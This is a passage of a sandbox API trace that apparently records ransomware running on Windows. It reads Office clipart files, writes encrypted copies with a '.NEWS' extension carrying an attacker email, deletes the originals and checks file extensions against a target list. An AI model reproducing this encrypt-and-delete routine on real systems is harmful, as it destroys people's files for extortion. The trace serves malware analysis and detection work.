office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0091.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.584] lstrlenW (lpString=".doc") returned 4 [0091.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.584] lstrlenW (lpString=".docx") returned 5 [0091.584] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0091.584] lstrlenW (lpString=".pdf") returned 4 [0091.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.584] lstrlenW (lpString=".xls") returned 4 [0091.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.584] lstrlenW (lpString=".xlsx") returned 5 [0091.584] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0091.585] lstrlenW (lpString=".ppt") returned 4 [0091.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.585] lstrlenW (lpString=".zip") returned 4 [0091.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.585] lstrlenW (lpString=".rar") returned 4 [0091.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString=".bz2") returned 4 [0091.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString=".7z") returned 3 [0091.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.585] lstrlenW (lpString=".dbf") returned 4 [0091.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.585] lstrlenW (lpString=".1cd") returned 4 [0091.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.585] lstrlenW (lpString=".jpg") returned 4 [0091.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.585] lstrlenW (lpString=".doc") returned 4 [0091.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString=".docx") returned 5 [0091.585] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0091.585] lstrlenW (lpString=".pdf") returned 4 [0091.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString=".xls") returned 4 [0091.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.585] lstrlenW (lpString=".xlsx") returned 5 [0091.585] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0091.585] lstrlenW (lpString=".ppt") returned 4 [0091.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.586] lstrlenW (lpString=".zip") returned 4 [0091.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.586] lstrlenW (lpString=".rar") returned 4 [0091.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.586] lstrlenW (lpString=".bz2") returned 4 [0091.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.586] lstrlenW (lpString=".7z") returned 3 [0091.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.586] lstrlenW (lpString=".dbf") returned 4 [0091.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.586] lstrlenW (lpString=".1cd") returned 4 [0091.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0091.586] lstrlenW (lpString=".jpg") returned 4 [0091.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.586] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.586] lstrlenW (lpString="J0099180.WMF") returned 12 [0091.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.586] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3394) returned 1 [0091.586] CloseHandle (hObject=0x338) returned 1 [0091.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0091.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.587] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.587] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.587] GetLastError () returned 0x0 [0091.587] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xd42, lpOverlapped=0x0) returned 1 [0091.589] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xd50, lpOverlapped=0x0) returned 1 [0091.591] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.591] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.591] SetEndOfFile (hFile=0x384) returned 1 [0091.591] CloseHandle (hObject=0x384) returned 1 [0091.591] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.591] SetEndOfFile (hFile=0x338) returned 1 [0091.592] CloseHandle (hObject=0x338) returned 1 [0091.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0091.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.592] lstrlenW (lpString=".doc") returned 4 [0091.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString=".docx") returned 5 [0091.593] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0091.593] lstrlenW (lpString=".pdf") returned 4 [0091.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString=".xls") returned 4 [0091.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.593] lstrlenW (lpString=".xlsx") returned 5 [0091.593] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0091.593] lstrlenW (lpString=".ppt") returned 4 [0091.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.593] lstrlenW (lpString=".zip") returned 4 [0091.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.593] lstrlenW (lpString=".rar") returned 4 [0091.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString=".bz2") returned 4 [0091.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString=".7z") returned 3 [0091.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.593] lstrlenW (lpString=".dbf") returned 4 [0091.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.593] lstrlenW (lpString=".1cd") returned 4 [0091.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.593] lstrlenW (lpString=".jpg") returned 4 [0091.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.593] lstrlenW (lpString=".doc") returned 4 [0091.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.593] lstrlenW (lpString=".docx") returned 5 [0091.593] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0091.593] lstrlenW (lpString=".pdf") returned 4 [0091.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.594] lstrlenW (lpString=".xls") returned 4 [0091.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.594] lstrlenW (lpString=".xlsx") returned 5 [0091.594] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0091.594] lstrlenW (lpString=".ppt") returned 4 [0091.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.594] lstrlenW (lpString=".zip") returned 4 [0091.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.594] lstrlenW (lpString=".rar") returned 4 [0091.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.594] lstrlenW (lpString=".bz2") returned 4 [0091.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.594] lstrlenW (lpString=".7z") returned 3 [0091.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.594] lstrlenW (lpString=".dbf") returned 4 [0091.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.594] lstrlenW (lpString=".1cd") returned 4 [0091.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0091.594] lstrlenW (lpString=".jpg") returned 4 [0091.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.594] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.594] lstrlenW (lpString="J0099181.WMF") returned 12 [0091.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.595] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1198) returned 1 [0091.595] CloseHandle (hObject=0x338) returned 1 [0091.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0091.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0091.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.595] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0091.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0091.596] GetLastError () returned 0x0 [0091.596] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ae, lpOverlapped=0x0) returned 1 [0091.861] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4b0, lpOverlapped=0x0) returned 1 [0091.862] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0091.862] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0091.862] SetEndOfFile (hFile=0x384) returned 1 [0092.645] CloseHandle (hObject=0x384) returned 1 [0092.646] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.646] SetEndOfFile (hFile=0x338) returned 1 [0092.646] CloseHandle (hObject=0x338) returned 1 [0092.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0092.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.647] lstrlenW (lpString=".doc") returned 4 [0092.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0092.647] lstrlenW (lpString=".docx") returned 5 [0092.647] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0092.647] lstrlenW (lpString=".pdf") returned 4 [0092.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0092.647] lstrlenW (lpString=".xls") returned 4 [0092.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0092.647] lstrlenW (lpString=".xlsx") returned 5 [0092.647] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0092.647] lstrlenW (lpString=".ppt") returned 4 [0092.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0092.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.647] lstrlenW (lpString=".zip") returned 4 [0092.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0092.647] lstrlenW (lpString=".rar") returned 4 [0092.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0092.647] lstrlenW (lpString=".bz2") returned 4 [0092.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0092.647] lstrlenW (lpString=".7z") returned 3 [0092.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".dbf") returned 4 [0092.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".1cd") returned 4 [0092.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".jpg") returned 4 [0092.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".doc") returned 4 [0092.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString=".docx") returned 5 [0092.648] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0092.648] lstrlenW (lpString=".pdf") returned 4 [0092.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString=".xls") returned 4 [0092.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0092.648] lstrlenW (lpString=".xlsx") returned 5 [0092.648] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0092.648] lstrlenW (lpString=".ppt") returned 4 [0092.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".zip") returned 4 [0092.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0092.648] lstrlenW (lpString=".rar") returned 4 [0092.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString=".bz2") returned 4 [0092.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString=".7z") returned 3 [0092.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".dbf") returned 4 [0092.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0092.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.648] lstrlenW (lpString=".1cd") returned 4 [0092.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0092.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0092.649] lstrlenW (lpString=".jpg") returned 4 [0092.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0092.649] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.649] lstrlenW (lpString="J0099199.GIF") returned 12 [0092.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.650] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=33975) returned 1 [0092.650] CloseHandle (hObject=0x338) returned 1 [0092.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 0x220 [0092.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0092.650] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.650] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0092.650] GetLastError () returned 0x0 [0092.651] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x84b7, lpOverlapped=0x0) returned 1 [0092.653] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x84c0, lpOverlapped=0x0) returned 1 [0092.654] ReadFile (in: hFile=0x338, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0092.654] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0092.654] SetEndOfFile (hFile=0x384) returned 1 [0092.654] CloseHandle (hObject=0x384) returned 1 [0092.654] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0092.654] SetEndOfFile (hFile=0x338) returned 1 [0092.655] CloseHandle (hObject=0x338) returned 1 [0092.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0092.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099199.GIF") returned 68 [0092.656] lstrlenW (lpString=".doc") returned 4 [0092.656] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.656] lstrlenW (lpString=".docx") returned 5 [0092.656] 